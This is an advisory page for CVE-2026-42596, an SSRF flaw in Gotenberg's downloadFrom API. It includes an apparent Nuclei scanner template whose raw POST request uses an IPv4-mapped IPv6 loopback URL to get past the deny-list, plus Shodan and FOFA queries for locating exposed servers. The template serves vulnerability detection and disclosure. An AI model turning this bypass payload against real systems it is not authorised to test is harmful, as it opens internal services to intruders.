CVE-2026-42596: Gotenberg < 8.31.0 - Server-Side Request Forgery

2026-09-01 Unknown PoC Public

Description

Gotenberg before 8.31.0 is vulnerable to server-side request forgery (SSRF) due to insufficient validation of URLs in the downloadFrom API. An unauthenticated attacker can exploit the flaw by providing specially crafted IPv4-mapped IPv6 addresses (such as http://[::ffff:127.0.0.1]) that bypass the deny-list and allow access to internal resources. Fixed versions properly recognize these addresses and prevent such requests.

PoC

id: CVE-2026-42596

info:
  name: Gotenberg < 8.31.0 - Server-Side Request Forgery
  author: str4k3r
  severity: critical
  description: |
    Gotenberg before 8.31.0 is vulnerable to server-side request forgery (SSRF) due to insufficient validation of URLs in the downloadFrom API. An unauthenticated attacker can exploit the flaw by providing specially crafted IPv4-mapped IPv6 addresses (such as http://[::ffff:127.0.0.1]) that bypass the deny-list and allow access to internal resources. Fixed versions properly recognize these addresses and prevent such requests.
  reference:
    - https://github.com/gotenberg/gotenberg/security/advisories/GHSA-4vmc-gm8v-m35h
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42596
  classification:
    cve-id: CVE-2026-42596
    epss-score: 0.01239
    epss-percentile: 0.67594
    cvss-score: 9.8
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cwe-id: CWE-918
    cpe: cpe:2.3:a:gotenberg:gotenberg:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    shodan-query: "Gotenberg"
    fofa-query: "Gotenberg"
  tags: cve,cve2026,gotenberg,ssrf

http:
  - raw:
      - |
        POST /forms/libreoffice/convert HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----testBoundary

        ------testBoundary
        Content-Disposition: form-data; name="downloadFrom"

        [{"url":"http://[::ffff:127.0.0.1]:3000/health"}]
        ------testBoundary--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "No 'Content-Disposition' header from 'http://[::ffff:127.0.0.1]:3000/health'"

      - type: status
        status:
          - 400
# digest: 490a00463044022052afdd0e9916f887d37b311b381263b2fe0ffd639303a5e99e3ac8faed8a2d36022005f7d9f6e11177f837c33210df4f807ea99799a07bbcd70d78606a8a25946924:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.